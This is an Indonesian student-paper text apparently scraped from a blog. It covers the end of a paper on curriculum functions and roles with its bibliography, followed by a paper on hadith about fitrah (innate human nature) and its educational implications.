Fungsi Diferensiasi mengandung makna bahwa kurikulum sebagai alat pendidikan harus mampu memberikan pelayanan terhadap perbedaan individu siswa. Setiap siswa memiliki perbedaan, baik dari aspek fisik maupun psikis, yang harus dihargai dan dilayani dengan baik.
4. Fungsi Persiapan (the propaedeutic function)
Fungsi Persiapan mengandung makna bahwa kurikulum sebagai alat pendidikan harus mampu mempersiapkan siswa untuk melanjutkan studi ke jenjang pendidikan berikutnya. Selain itu, kurikulum juga diharapkan dapat mempersiapkan siswa untuk dapat hidup dalam masyarakat seandainya karena sesuatu hal, tidak dapat melanjutkan pendidikannya.
5. Fungsi Pemilihan (the selective function)
Fungsi Pemilihan mengandung makna bahwa kurikulum sebagai alat pendidikan harus mampu memberikan kesempatan kepada siswa untuk memilih program program belajar yang sesuai dengan kemampuan dan minatnya. Fungsi pemilihan ini sangat erat hubungannya dengan fungsi diferensiasi, karena pengakuan atas adanya perbedaan individual siswa berarti pula diberinya kesempatan bagi siswa tersebut untuk memilih apa yang sesuai dengan minat dan kemampuannya. Untuk mewujudkan kedua fungsi tersebut, kurikulum perlu disusun secara lebih luas dan bersifat fleksibel.
6. Fungsi Diagnostik (the diagnostic function)
Fungsi Diagnostik mengandung makna bahwa kurikulum sebagai alat pendidikan harus mampu membantu dan mengarahkan siswa untuk dapat memahami dan menerima kekuatan (potensi) dan kelemahan yang dimilikinya. Jika siswa sudah mampu memahami kekuatan kekuatan dan kelemahan kelemahan yang ada pada dirinya, maka diharapkan siswa dapat mengembangkan sendiri potensi kekuatan yang dimilikinya atau memperbaiki kelemahan-kelemahannya.
Muhammad Ansyar menguraikan beberapa fungsi kurikulum sebagai berikut:
8. kurikulum sebagai pedoman studi. pengertiannya adalah seperangkat mata pelajaran yang mampu dipelajari oleh peserta didik di sekolah atau di institusi pendidikan lainnya.
9. kurikulum sebagai konten. pengertiannya adalah data atau informasi yang tertera dalam buku-buku kelas tanpa dilengkapi dengan data atau informasi lain yang memungkinkan timbulnya belajar.
10. kurikulum sebagai kegiatan terencana. pengertiannya adalah kegiatan yang direncanakan tentang hal-hal yang akan diajarkan dengan berhasil.
11. kurikulum sebagai hasil belajar. pengertiannya adalah seperangkat tujuan yang utuh untuk memperoleh suatu hasil tertentu tanpa menspesifikasi cara-cara yang dituju untuk memperoleh hasil itu, atau seperangkat hasil belajar yang direncanakan dan diinginkan.
12. kurikulum sebagai reproduksi kultural. pengertiannya adalah transfer dan refleksi butir-butir kebudayaan masyarakat, agar dimiliki dan difahami anak-anak generasi muda masyarakat tersebut.
13. kurikulum sebagai pengalaman belajar. pngertiannya adalah keseluruhan pengalaman belajar yang direncanakan di bawah pimppinan sekolah.
14. kurikulum sebagai produksi. pengertiannya adalah tugas yang harus dilakukan untuk mencapai hasil yang ditetapkan terlebih dahulu.
Selain dari fungsi-fungsi di atas, Dakin mengemukakan fungsi kurikulum dengan pihak-pihak yang secara langsung terkait dengan kurikulum sekolah, yaitu guru, kepala sekolah, para penulid buku ajar, dan masyarakat:
1. Fungsi kurikulum bagi para penulis
Para penulis buku ajar mestinya mempelajari terlebih dahulu kurikulum yang berlaku pada waktu itu. Untuk membuat berbagai pokok bahasan maupun subpokok bahasan, hendaknya penulis buku ajar membuat analisis instruksional terlebih dahulu. Kemudian menyusun Garis-Garis Besar Program Pelajaran (GBPP) untuk mata pelajaran tertentu, baru berbagai bahan yang relevan. Sum ber bahan tersebut dapat berupa bahan cetak (buku, makalah, majalah, jurnal, koran, hasil penelitian dan sebagainya), yang diambil dari narasumber, pengalaman penulis sendiri atau dari lingkungan. perlu diingat bahwa tidak semua bahan tersebut ditulis sebagai bahan pelajaran. yang perlu mendapat pertimbangan ialah kriteria-kriteria sebagai berikut:
e. Bahan hendaknya bersifat pedagogis, artinya bahan hendaknya berisikan hal-hal yang normatif.
f. Bahan hendaknya bersifat psikologis, artinya bahan yang ditulis memperhatikan kejiwaan peserta didik yang mempergunakannya.
Bahan disesuaikan dengan perhatian, minat, kebutuhan, dan perkembangan jiwa anak.
g. Bahan hendaknya disusun secara didatis, artinya bahan yang tertulis tersebut dapat diorganisir sedemikian rupa sehingga mudah untuk diajarkan.
h. Bahan hendaknya bersifat sosiologis, artinya bahan jangan sampai kontroversal dengn keadaan masyarakat sekitar.
i. Bahan hendaknya bersifat yuridis, artinya bahan yang disusun jangan sampai bertentangan dengan Undang-Undang Dasar 1945, GBHN, Undang-Undang Sistem Pendidikan Nasional, Peraturan Pemerintah No. 27m28,29, dan 30. Begitu juga bahan tidak bertentangan dengan peraturan-peraturan yang lain.
2. Fungsi kurikulum bagi guru
Bagi guru baru, sebelum mengajar pertama-tama yang perlu dipertanyakan adalah kurikulumnya. setelah kurikulum didapat, pertanyaan berikutnya adalah Garis-Garis Besar Program Pengajaran. Setelah Garis-Garis Besar Program pengajaran ditemukan, barulah guru mencari berbagai sumber bahan yang relevan atau yang telah ditentukan oleh Depdiknas. Sesuai dengan fungsinya bahwa kurikulum adalah sebagai alat untuk mencapai tujuan pendidikan, maka guru semestinya mencermati tujuan pendidikan yang dicapai oleh lembaga pendidikan dimana ia bekerja.

3. Fungsi kurikulum bagi kepala sekolah
Bagi kepala sekolah yang baru, yang dipelajari pertama kali adalah tujuan lembaga yang akan dipimpimnya. Kemudian mencari kurikulum yang berlaku sekarang untuk dipellajari, terutama pada buku petunjuk pelaksanaan. Selanjutny a tugas kepala sekolah melakukan supervisi kurikulum.
4. Fungsi kurikulum bagi masyarakat
Kuriulum harus memenuhi kebutuhan-kebutuhan masyarakat sekitar.

D. Peranan Kurikulum
Kurikulum dalam pendidikan formal di sekolah/ madrasah memiliki peranan yang sangat strategis dan menentukan pencapaian tujuan pendidikan. . Oemar Hamalik (Rudi Susilana dkk, 2006: 10-11) mengemukakan terdapat tiga peranan yang dinilai sangat penting, yaitu: (a) peranan konservatif, (2) peranan kreatif, dan (3) peranan kritis/evaluatif:
1. Peranan Konservatif.
Peranan ini menekankan bahwa kurikulum sebagai sarana untuk mentransmisikan nilai-nilai warisan budaya masa lalu yang dianggap masih relevan dengan masa kini kepada generasi muda, dalam hal ini para siswa. Dengan demikian, peranan konservatif ini pada hakikatnya menempatkan kurikulum, yang berorientasi ke masa lampau. Peranan ini sifatnya menjadi sangat mendasar, disesuaikan dengan kenyataan bahwa pendidikan pada hakikatnya merupakan proses sosial. Salah satu tugas pendidikan yaitu mempengaruhi dan membina perilaku siswa sesuai dengan nilai nilai sosial yang hidup di lingkungan masyarakatnya.
2. Peranan Kreatif.
Peranan ini menekankan bahwa kurikulum harus mampu mengembangkan sesuatu yang baru sesuai dengan perkembangan yang terjadi dan kebutuhan kebutuhan masyarakat pada masa sekarang dan masa mendatang. Kurikulum harus mengandung hal-hal yang dapat membantu setiap siswa mengembangkan semua potensi yang ada pada dirinya untuk memperoleh pengetahuan-pengetahuan baru, kemampuan-kemampuan baru, serta cara berpikir baru yang dibutuhkan dalam kehidupannya.
3. Peranan Kritis dan Evaluatif.
Peranan ini dilatarbelakangi oleh adanya kenyataan bahwa nilai-nilai dan budaya yang hidup dalam masyarakat senantiasa mengalami perubahan, sehingga pewarisan nilai nilai dan budaya masa lalu kepada siswa perlu disesuaikan dengan kondisi yang terjadi pada masa sekarang. Selain itu, perkembangan yang terjadi pada masa sekarang dan masa mendatang belum tentu sesuai dengan apa yang dibutuhkan. Karena itu, peranan kurikulum tidak hanya mewariskan nilai dan budaya yang ada atau menerapkan hasil perkembangan baru yang terjadi, melainkan juga memiliki peranan untuk menilai dan memilih nilai dan budaya serta pengetahuan baru yang akan diwariskan tersebut. Dalam hal ini, kurikulum harus turut aktif berpartisipasi dalam kontrol atau filter sosial. Nilai-nilai sosial yang tidak sesuai lagi dengan keadaan dan tuntutan masa kini dihilangkan dan diadakan modifikasi atau penyempurnaan-penyempurnaan.
Ketiga peranan kurikulum di atas tentu saja harus berjalan secara seimbang dan harmonis agar dapat memenuhi tuntutan keadaan. Jika tidak, akan terjadi ketimpangan-ketimpangan yang menyebabkan peranan kurikulum persekolahan menjadi tidak optimal. Menyelaraskan ketiga peranan kurikulum tersebut menjadi tanggung jawab semua pihak yang terkait dalam proses pendidikan, di antaranya guru, kepala sekolah, pengawas, orang tua, siswa, dan masyarakat. Dengan demikian, pihak-pihak yang terkait tersebut idealnya dapat memahami betul apa yang menjadi tujuan dan isi dari kurikulum yang diterapkan sesuai dengan bidang tugas masing-masing.




BAB IV
PENUTUP


A. Kesimpulan
Kurikulum mempunyai kedudukan yang sangat penting dalam lembaga pendidikan. Salah satu penentu keberhasilan pendidikan terdapat pada kurikulum. dan bagus tidaknya kurikulum tergantung kepada perumus kurikulum sendiri. Kurikulum diharapkan dapat menjadi sarana terciptanya cita-cita/ tujuan pendidikan nasional, "berkembangnya potensi peseta didik agar menjadi manusia yang beriman dan bertaqwa kepada Tuhan Yang Maha Esa, berakhlak mulia, sehat, berilmu, cakap, kreatif, mandiri, dan menjadi warga negara yang demokratis serta bertanggung jawab" (Pasal 3 dan penjelasan atas UU RI No. 20 tahun 2003)

B. Saran
Kita sebagai calon pendidik harus mengetahui hakikat dan fungsi kurikulum, karena kurikulum mempunyai peranan penting dalam keberhasilan pendidikan. Pendidikan akan berhasil jika kurikulum yang disajikan bagus dan dapat memenuhi kebutuhan peserta didik guna mencapai Tujuan Nasional.










DAFTAR PUSTAKA


Ansyar, Mohd. dan H. Nurtain. (1992). Pengembangan dan Inovasi Kurikulum. Jakarta: P2TK Ditjendikti Depdikbud.
Dakin, Prof. Dr. H. (2004). Perencanaan & Pengembangan Kurikulum. Jakarta: Rineka Cipta.
Nasution, S. (2003). Asas-Asas Kurikulum. Jakarta: Bumi Aksara.
Sanjaya, Wina. (2009). Kurikulum Dan Pembelajaran: Teori Dan Praktik Pengembangan Kurikulum Satuan Pendidikan (KTSP). Jakarta: Kencana.
Slameto, (1991). Proses Belajar Mengajar Dalam Sistem Kredit. Jakarta: Bumi Aksara.
Subandijah, (1993). Pengembangan Dan Inovasi Kurikulum. Jakarta: Raja Grafindo Persada.
Sudirman, dkk. (1989). Ilmu Pendidikan. Bandung: Remadja Karya.
Sudjana, Nana. (1996). Pembinaan & Pengembangan Kurikulum di Sekolah. Bandung: Sinar Baru Algesindo.
Sukmadinata, Nana Syaodih. (2005). Pengembangan Kurikulum Teori dan Praktek. Bandung: Remaja Rosdakarya.
Susilana, Rudi dkk. (2006). Kurikulum dan Pembelajaran. Bandung: Jurusan Kutekpen FIP UPI.
Syaripudin, Tatang. (2008). Landasan Pendidikan. Bandung: Percikan Ilmu.
Tim Penyusun Kamus Pusat Bahasa. (2002). Kamus Besar Bahasa Indonesia. Jakarta: Pusat Bahasa.
tn. (2009). Bahan Ajar Telaah Kurikulum dan Buku Teks.
HADIS TARBAWI TAMPIL PERTAMA UY....

HADIS TARBAWI TAMPIL PERTAMA UY....

00.47
BAB I
PENDAHULUAN
1.1 Latar Belakang

2 وَعَلَّمَ آدَمَ الْأَسْمَاءَ كُلَّهَا ثُمَّ عَرَضَهُمْ عَلَى الْمَلَائِكَةِ فَقَالَ أَنْبِئُونِي بِأَسْمَاءِ هَؤُلَاءِ إِنْ كُنْتُمْ صَادِقِينَ (31) قَالُوا سُبْحَانَكَ لَا عِلْمَ لَنَا إِلَّا مَا عَلَّمْتَنَا إِنَّكَ أَنْتَ الْعَلِيمُ الْحَكِيمُ (32) قَالَ يَا آدَمُ أَنْبِئْهُمْ بِأَسْمَائِهِمْ فَلَمَّا أَنْبَأَهُمْ بِأَسْمَائِهِمْ قَالَ أَلَمْ أَقُلْ لَكُمْ إِنِّي أَعْلَمُ غَيْبَ السَّمَاوَاتِ وَالْأَرْضِ وَأَعْلَمُ مَا تُبْدُونَ وَمَا كُنْتُمْ تَكْتُمُونَ (33)
“Dan Dia mengajarkan kepada Adam nama-nama (benda-benda) seluruhnya, kemudian mengemukakannya kepada para Malaikat lalu berfirman: "Sebutkanlah kepada-Ku nama benda-benda itu jika kamu mamang benar orang-orang yang benar. mereka menjawab: "Maha suci Engkau, tidak ada yang Kami ketahui selain dari apa yang telah Engkau ajarkan kepada kami; Sesungguhnya Engkaulah yang Maha mengetahui lagi Maha Bijaksana. Allah berfirman: "Hai Adam, beritahukanlah kepada mereka nama-nama benda ini." Maka setelah diberitahukannya kepada mereka Nama-nama benda itu, Allah berfirman: "Bukankah sudah Ku katakan kepadamu, bahwa Sesungguhnya aku mengetahui rahasia langit dan bumi dan mengetahui apa yang kamu lahirkan dan apa yang kamu sembunyikan?" (QS. Al-Baqoroh [2]: 31-33)
Pada ayat di atas tampak bahwa Allah telah menciptakan Adam sebagai manusia yang sempurna dengan segala potensi kemanusiaan yang dimilikinya termasuk kemampuan akalnya, karena itu dalam pandangan Islam, manusia bukanlah hasil proses evolusi dari makhluk lain (primata) sebagaimana diyakini oleh sebagian ilmuwan biologi. Kalaupun mungkin ada manusia sebelumnya (purba) tidak bisa digolongkan sebagai manusia, tetapi binatang yang wujudnya mungkin tidak begitu jauh bedanya dengan manusia.


2.1 Rumusan Masalah
Dalam makalah ini ada beberapa masalah yang kami temukan sehingga kami dapat mengelompokannya dalam rumusan masalah. Adapun rumusan masalah tersebut yaitu:
1. Apakah Manusia Dilahirkan Dalam Fiytrah?
2. Apakah sejak lahir manusia dibekali untuk berkembang?
2.2 Tujuan Penulisan
Dari rumusan masalah diatas, maka tujuan penulisan makalah ini adalah:
1. Untuk mengetahui penciptaan manusia bahwa manusia tercipta dengan fiytrah.
2.3 Metode Penulisan
Prosedur pemecahan masalah dalam makalah ini menggunakan metode studi pustaka dengan melakukan penyusunan dari berbagai buku sumber dan pemanfaatan pada bidang komunikasi internet.

2.4 Sistematika Penulisan
BAB I : Pendahuluan, Bab ini memuat latar belakang, rumusan masalah, tujuan penulisan, metode penulisan, sistematika penulisan. BAB II : Isi, Bab ini memuat pembahasan tentang Manusia di lahirkan fiytrah, sejak lahir manusia diberi bekal untuk berkembang. BAB III : Penutup, bab ini memuat kesimpulan dan saran.




BAB I I
PENDAHULUAN
2.1 Manusia dilahirkan dalam keadaan fitrah
Hadits Pertama
أخرج البخاري ومسلم وابن المنذر وابن أبي حاتم وابن مردويه عن أبي هُرَيْرَةَ رَضِيَ اللَّهُ عَنْهُ، قَالَ: قَالَ رَسُولُ اللَّهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ: «مَا مِنْ مَوْلُودٍ إِلَّا يُولَدُ عَلَى الفِطْرَةِ، فَأَبَوَاهُ يُهَوِّدَانِهِ، وَيُنَصِّرَانِهِ، أَوْ يُمَجِّسَانِهِ، كَمَا تُنْتَجُ البَهِيمَةُ بَهِيمَةً جَمْعَاءَ، هَلْ تُحِسُّونَ فِيهَا مِنْ جَدْعَاءَ» ثُمَّ يَقُولُ أَبُو هُرَيْرَةَ رَضِيَ اللَّهُ عَنْهُ: اِقْرَأُوا اِن ْشِئْتُمْ : {فِطْرَةَ اللَّهِ الَّتِي فَطَرَ النَّاسَ عَلَيْهَا لاَ تَبْدِيلَ لِخَلْقِ اللَّهِ ذَلِكَ الدِّينُ القَيِّمُ}
Dari Abu Hurairoh, ia berkata, Rasulallah saw bersabda, “Tidaklah seorang anak dilahirkan kecuali dalam keadaan fitrah. Lalu kedua orang tuanyalah yang menjadikan ia Yahudi, Nashrani, dan Majusi, sebagaimana dilahirkannya binatang ternak dengan sempurna, apakah padanya terdapat telinga yang terpotong atau kecacatan lainnya?. Kemudian Abu Hurairoh membaca, Jika engkau mau hendaklah baca, (tetaplah atas) fitrah Allah yang telah menciptakan manusia menurut fitrah itu. Tidak ada perubahan pada fitrah Allah. (Itulah) agama yang lurus. (Hadits tersebut ditakhrij oleh Bukhori, Muslim, Ibnu al-Mundzir, Ibnu Abu Hatim dan Ibnu Mardawaeh).

Hadits Kedua
أخرج مالك وأبو داود وابن مردويه عَنْ أَبِي هُرَيْرَةَ رضي الله عنه ، قَالَ: قَالَ رَسُولُ اللَّهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ: «كُلُّ مَوْلُودٍ يُولَدُ عَلَى الْفِطْرَةِ، فَأَبَوَاهُ يُهَوِّدَانِهِ وَيُنَصِّرَانِهِ، كَمَا تَنَاتَجُ الْإِبِلُ مِنْ بَهِيمَةٍ جَمْعَاءَ، هَلْ تُحِسُّ مِنْ جَدْعَاءَ؟» قَالُوا: يَا رَسُولَ اللَّهِ، أَفَرَأَيْتَ مَنْ يَمُوتُ وَهُوَ صَغِيرٌ؟ قَالَ: «اللَّهُ أَعْلَمُ بِمَا كَانُوا عَامِلِينَ»
Dari Abu Hurairoh, ia berkata, Rasulallah saw bersabda, “Setiap anak dilahirkan dalam keadaan fitrah. Kemudian kedua orang tuanyalah yang menjadikan ia Yahudi, dan Nashrani, sebagaimana dilahirkannya binatang ternak dengan sempurna, apakah ada telinga yang terputus?. Mereka bertanya, Ya Rasulallah, bagaimana pendapatmu tentang orang yang wafat ketika kecil? Rasul menjawab, “Allah lebih mengetahui terhadap apa yang mereka amalkan”.(Hadits ditakhrij oleh Malik, Abu Daud, dan Ibnu Mardawaeh)

Hadits Ketiga
أخرج عبد الرزاق وابن أبي شيبة وأحمد والنسائي والحاكم وصححه وابن مردويه عَنِ الْأَسْوَدِ بْنِ سَرِيعٍ رَضِيَ اللَّهُ عَنْهُ، أَنَّ رَسُولَ اللَّهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ، بَعَثَ سَرِيَّةً يَوْمَ خَيْبَرَ فَقَاتَلُوا الْمُشْرِكِينَ، فَأَمْضَى بِهِمُ الْقَتْلُ إِلَى الذُّرِّيَّةِ، فَلَمَّا جَاءُوا قَالَ النَّبِيُّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ: «مَا حَمَلَكُمْ عَلَى قَتْلِ الذُّرِّيَّةِ؟» فَقَالُوا: يَا رَسُولَ اللَّهِ، إِنَّمَا كَانُوا أَوْلَادَ الْمُشْرِكِينَ، قَالَ: «وَهَلْ خِيَارُكُمْ إِلَّا أَوْلَادُ الْمُشْرِكِينَ؟ وَالَّذِي نَفْسُ مُحَمَّدٍ بِيَدِهِ مَا مِنْ نَسَمَةٍ تُولَدُ إِلَّا عَلَى الْفِطْرَةِ، حَتَّى يُعْرِبَ عَنْهَا لِسَانُهَا»أخرج عبد الرزاق وابن أبي شيبة وأحمد والنسائي والحاكم وصححه وابن مردويه
Dari Al-Aswad bin Sura’i, bahwasanya Rasulallah saw pernah mengutus Sariyyah ke Khaibar, lalu mereka membunuh orang-orang musyrik, lalu sampailah pembunuhan mereka kepada keturunannya. Ketika mereka datang, Nabi bertanya, apa yang mendorong kalian membunuh keturunannya? Mereka menjawab (utusan Sariyyah) Yaa Rasulallah, mereka itu anak-anak orang musyrik. Rasulullah bertanya, apakah kalian hanya memilih orang-orang musyrik? Demi diriku yang ada pada kekuasaaNya tidaklah suatu jiwa dilahirkan kecuali dalam keadaan fitrah. Sehingga lingkungannya yang merubah fitrahnya itu.(Hadits ditakhrij oleh ‘Abdul Rozak, Ibnu Abi Syaibah, Ahmad, Nasa’i, Hakim dan dishohihkan olehIbnu Mardawaeh)

Ayat al- Qur`an yang berkena dengan hadits-hadits diatas:
فَأَقِمْ وَجْهَكَ لِلدِّينِ حَنِيفًا فِطْرَةَ اللَّهِ الَّتِي فَطَرَ النَّاسَ عَلَيْهَا لَا تَبْدِيلَ لِخَلْقِ اللَّهِ ذَلِكَ الدِّينُ الْقَيِّمُ وَلَكِنَّ أَكْثَرَ النَّاسِ لَا يَعْلَمُونَ. (الروم : 30)
Maka hadapkanlah wajahmu dengan lurus kepada agama Allah; (tetaplah atas) fitrah Allah yang telah menciptakan manusia menurut fitrah itu. tidak ada perubahan pada fitrah Allah. (Itulah) agama yang lurus; tetapi kebanyakan manusia tidak mengetahui (Q.S. Ar-Rum [30] : 30)


2.2 Sejak lahir manusia diberi bekal untuk berkembang
. أخرج أحمد وابن ماجه وابن حبان والطبراني وابن مردويه عَنْ حَبَّةَ وَسَوَاءٍ اِبْنَيْ خَالِدٍ أَنَّهُمَا أَتَيَا النَبِيَّ صلى الله عليه وسلم : وَهُوَ يُعَالِجُ بِنَاءَ ، فَقَالَ لَهُمَا : هَلُمَّ ، فَعَالِجَا مَعَهُ ، فَعَالِجَا فَلَمَّا فَرَغَ ، أَمَرَ لَهُمَا بِشَيْءٍ وَقَالَ لَهُمَا : « لَا تَيْأَسَا مِنَ الرِّزْقِ مَا تَهَزْهَزَتْ رُءُوسُكُمَا. فَإِنَّهُ لَيْسَ مِنْ مَوْلُوْدٍ يُوْلَدُ مِنْ أُمَّةٍ إِلَّا أَحْمَرَ لَيْسَ عَلَيْهِ قِشْرَةٌ ثُمَّ يَرْزُقُهُ اللهُ » . أخرج أحمد وابن ماجه وابن حبان والطبراني وابن مردويه
Dari Habbah dan Sawa yaitu dua anak Kholid wahwa keduanya menemui Nabi dalam keadaan memperbaiki bangunan. Lalu Nabi berkata kepada keduanya, kemarilah, maka keduanyapun memperbaiki bangunan bersama Nabi. Ketika selesai, Nabi memerintahkan sesuatu kepadanya dan bersabda, janganlah kalian berputus asa dari rizqi yang bergejolak di kepala kalian. Karena tidaklah seorang anak dari umat ini dilahirkan kecuali dalam keadaan merah, tidak ada nasib buruk baginya, kemudian Allah memberikan rizki kepadanya. (Hadits ini ditakhrij oleh Ahmad, Ibnu Majah, Ibnu Hibban, Thobroni, dan Ibnu Mardawaeh).

Ayat Al-Qur`an yang berkenaan dengan hadits diatas:
وَاللَّهُ أَخْرَجَكُمْ مِنْ بُطُونِ أُمَّهَاتِكُمْ لَا تَعْلَمُونَ شَيْئًا وَجَعَلَ لَكُمُ السَّمْعَ وَالْأَبْصَارَ وَالْأَفْئِدَةَ لَعَلَّكُمْ تَشْكُرُونَ.
)النحل: 78 (
Dan Allah mengeluarkan kamu dari perut ibumu dalam Keadaan tidak mengetahui sesuatupun, dan Dia memberi kamu pendengaran, penglihatan dan hati, agar kamu bersyukur (QS. An-Nahl [16]: 78).
Hadits dari Habbah dan Sawwa menjelaskan bahwa setiap anak yang dilahirkan telah dibekali rizqi. Makna rizqi dalam hadits tersebut dijelaskan oleh Al-Quran Surat An-Nahl ayat 78 berupa pendengaran, penglihatan dan hati.

Imam Al-Gazali menyebutkan anak itu amanat (Ulwan: 162 ):
وَ الصَبِيُّ أَمَانَةٌ عِنْدَ وَالِدَيْهِ وَ قَلْبُهُ الطاَهِرُ جَوْهَرَةٌ نَفِيْسَةٌ فَإِنْ عُوِّدَ الخَيْرُ وَ عُلِّمَهُ نَشَأَ عَلَيْهِ وَ سَعِدَ فيِ الدُنْيَا وَ الآخِرَةِ وَ إِنْ عُوِّدَ الشَرُّ وَ أُهْمِلَ إِهْمَالُ البَهَائِمِ شَقَى وَ هَلَكَ, وَ صِيَانَتُهَا بِأنْ يُأَدِّبَهُ وَ يُهَدِّبَهُ وَ يُعَلِّمَهُ مَحَاسِنَ الأَخْلاقِ
Anak itu amanat bagi kedua orang tuanya, hatinya fitrah, permata yang indah jika ia dibekali dan diajarkan kebaikan, maka ia akan tumbuh dalam kebaikan. Dan bahagia di dunia dan di akhirat. Jika ia dibekali kejelekan dan diabaikian sebagaimana binatang ternak maka ia akan celaka dan binasa. Memeliharanya dengan cara mendidiknya dan mengajarkan dengan akhlak yang baik
.
2.3 Ma’na Ijmal
Hadits pertama dan kedua, menggunakan kata مولود (yang dilahirkan). Dalam riwayat lain, kata مولود diganti dengan lafadz بني آدم. Riwayat ini menjadi penguat bahwa semua keturunan Adam diciptakan dalam keadaan fitrah. Dalam riwayat lain lafadz الفطرة diganti dengan lafadz الملّة .
Menurut imam Al-Manawi, alif lam (ال) pada lafadz الفطرة disebut alim lam lil ahdi (sesuatu yang sudah pasti) yaitu fitrah yang Allah ciptakan yang dipersiapkan untuk menerima agama dan menolak kebatilan . secara bahasa, asal makna fitrah adalah permulaan penciptaan hal ini senada dengan Al-Quran Surat Fatir ayat 1
الْحَمْدُ لِلَّهِ فَاطِرِ السَّمَاوَاتِ وَالْأَرْضِ…
Segala puji bagi Allah Pencipta langit dan bumi…,
Menurut Hammad bin Salamah makna hadits ini yaitu ketika Allah mengadakan perjanjian dengan bani Adam pada tulang punggung ayahnya. Hal ini sebagaimana dijelaskan dalam Al-Quran Surat Al-‘Arof ayat 172:
وَإِذْ أَخَذَ رَبُّكَ مِنْ بَنِي آدَمَ مِنْ ظُهُورِهِمْ ذُرِّيَّتَهُمْ وَأَشْهَدَهُمْ عَلَى أَنْفُسِهِمْ أَلَسْتُ بِرَبِّكُمْ قَالُوا بَلَى شَهِدْنَا أَنْ تَقُولُوا يَوْمَ الْقِيَامَةِ إِنَّا كُنَّا عَنْ هَذَا غَافِلِينَ
Dan (ingatlah), ketika Tuhanmu mengeluarkan keturunan anak-anak Adam dari sulbi mereka dan Allah mengambil kesaksian terhadap jiwa mereka (seraya berfirman): "Bukankah Aku ini Tuhanmu?" Mereka menjawab: "Betul (Engkau Tuhan kami), kami menjadi saksi." (Kami lakukan yang demikian itu) agar di hari kiamat kamu tidak mengatakan: "Sesungguhnya kami (bani Adam) adalah orang-orang yang lengah terhadap ini (keesaan Tuhan)" (Q.S. Al-‘Arof [7]: 172).

Pendapat Hammad bin Salamah ini diperkuat oleh Ibnu Waddah yang meriwayatkan dari Sahnun bahwa tafsir hadits ini yaitu pada Surat Al-A’rof :172 (Al-Muntaqo [2] : 71). Dalam kitab Al-Muntaqo dijelaskan bahwa secara syar’i, fitrah adalah kondisi yang diciptakan berupa keimanan, ma’rifat dan pengakuan terhadap rububiyyah Allah.
Hadits pertama sampai ketiga menginformasikan bahwa hakikat pertama kali manusia diciptakan adalah dalam keadaan fitrah. Kemudian dalam kehidupannya manusia itu ada yang menjadi Yahudi, Nasrani dan Majusi. Hal itu dipengaruhi oleh kedua orang tuanya. Makna أبّ pada hadits di sini tidak hanya diartikan orang tua saja, akan tetapi أبّ juga mempunyai arti yang luas seperti lingkungan. Makna ini dijelaskan oleh Ar-Ragib sebagai berikut:
الاب: الوالد، ويسمى كل من كان سببا في إيجاد شئ أو إصلاحه أو ظهوره أبا
Al-Abbu adalah bapak, segala sesuatu yang menjadi sebab adanya sesuatu yang lain disebut Abbun.
Dari penjelasan tersebut dapat kita pahami bahwa agama seseorang dipengaruhi oleh lingkungannya.

2.4 Analisa Nilai Pendidikan/Tarbiyah
Nilai pendidikan dalam hadits pertama, kedua dan ketiga yaitu pada asal penciptaannya semua manusia dilahirkan dalam keadaan fitrah (Islam). Hanya saja dalam kehidupannya, ada yang menjadi Yahudi, Nashrani, dan Majusi. Hal itu diakibatkan oleh lingkungan hidup yang mereka tempati. Fitrah manusia yang telah dibawa sejak lahir harus senantiasa dijaga sampai mati. Sebagaimana firman Allah swt
يَا أَيُّهَا الَّذِينَ آَمَنُوا اتَّقُوا اللَّهَ حَقَّ تُقَاتِهِ وَلَا تَمُوتُنَّ إِلَّا وَأَنْتُمْ مُسْلِمُونَ
Hai orang-orang yang beriman, bertakwalah kepada Allah sebenar-benar takwa kepada-Nya; dan janganlah sekali-kali kamu mati melainkan dalam keadaan beragama Islam.(QS. Ali Imran [3]: 102)

Faktor-faktor Pembentuk Prilaku manusia
Ada dua Faktor yang membentuk prilaku, yaitu faktor Internal dan eksternal. Faktor Internal adalah kumpulan unsur kepribadian yang secara simultan mempengaruhi prilaku manusia, yaitu sebagai berikut:
- Insting Biologis
- Kebutuhan Psikologis
- Kebutuhan pemikiran
Faktor internal ini terbentuk sebagiannya secara genetis, atau dibawa dari sifat turunan keluarga baik sifat fisik maupun sifat jiwa. Adapun faktor Eksternal adalah faktor yang ada diluar diri manusia, namun secara langsung mempengaruhi prilakunya, yaitu;
- Lingkungan keluarga
- Lingkungan Sosial
- Lingkungan Pendidikan
Selain itu apakah prilaku itu pun ada pengaruh dari unsur-unsur yang lainnya? Seperti unsur keturunan atau genetika dari seorang ibu ayahnya taupun kakek-kakeknya?, lantas faktor manakah yang mempengaruhi terhadap pendidikan anak? Apakah faktor keturunan atau faktor lingkungan. Dalam hal ini, para pakar pendidikan terbagi kepada tiga pendapat, yaitu:
a. Schoupenhauer dan Arnold Gessel (tokoh Teori Nativisme) berasumsi bahwa setiap individu (anak) dilahirkan ke dunia dengan membawa faktor-faktor turunan (hereditas) yang berasal dari orang tuanya, dan faktor turunan tersebut menjadi faktor penentu perkembangan individu.
b. Teori Empirisme, teori ini bertentangan dengan teori pertama, teori ini berasumsi bahwa setiap anak dilahirkan ke dunia dalam keadaan bersih ibarat papan tulis yang belum ditulisi (as a blank atau tabula rasa). Setelah kelahirannya, faktor penentu perkembangan individu ditentukan oleh faktor lingkungan atau pengalamannya.
c. Teori Konvergensi, teori ini berasumsi bahwa perkembangan individu ditentukan oleh faktor keturunan (hereditas) maupun oleh faktor lingkungan/pengalaman .
Setelah melihat dan menganalisis teori-teori di atas, satu diantaranya berkaitan dengan hadits Nabi yang menyatakan bahwa seseorang dapat dipengaruhi oleh lingkungan sekitar, yakni teori konvergensi. Hal ini berkaitan dengan makna أبّ yang dipaparkan oleh Ar-Rogib Al-Ashfahani.
2.5 Nilai Tarbiayah
Cakupan hadits-hadits diatas dengan aspek pendidikan begitu sangat luas karena dapat digunakan kepada Murid ataupun Guru. Adapun cakupan itu adalah:
• Tujuan pendidikan yang ingin dicapai oleh Islam adalah تشكرون , yaitu membina manusia guna mampu menjalankan fungsinya sebagai hamba Allah dan khalifah-Nya. Maka manusia diharuskan mengetahui fitrahnya supaya dapat mengoptimalkan potensi dalam dirinya.
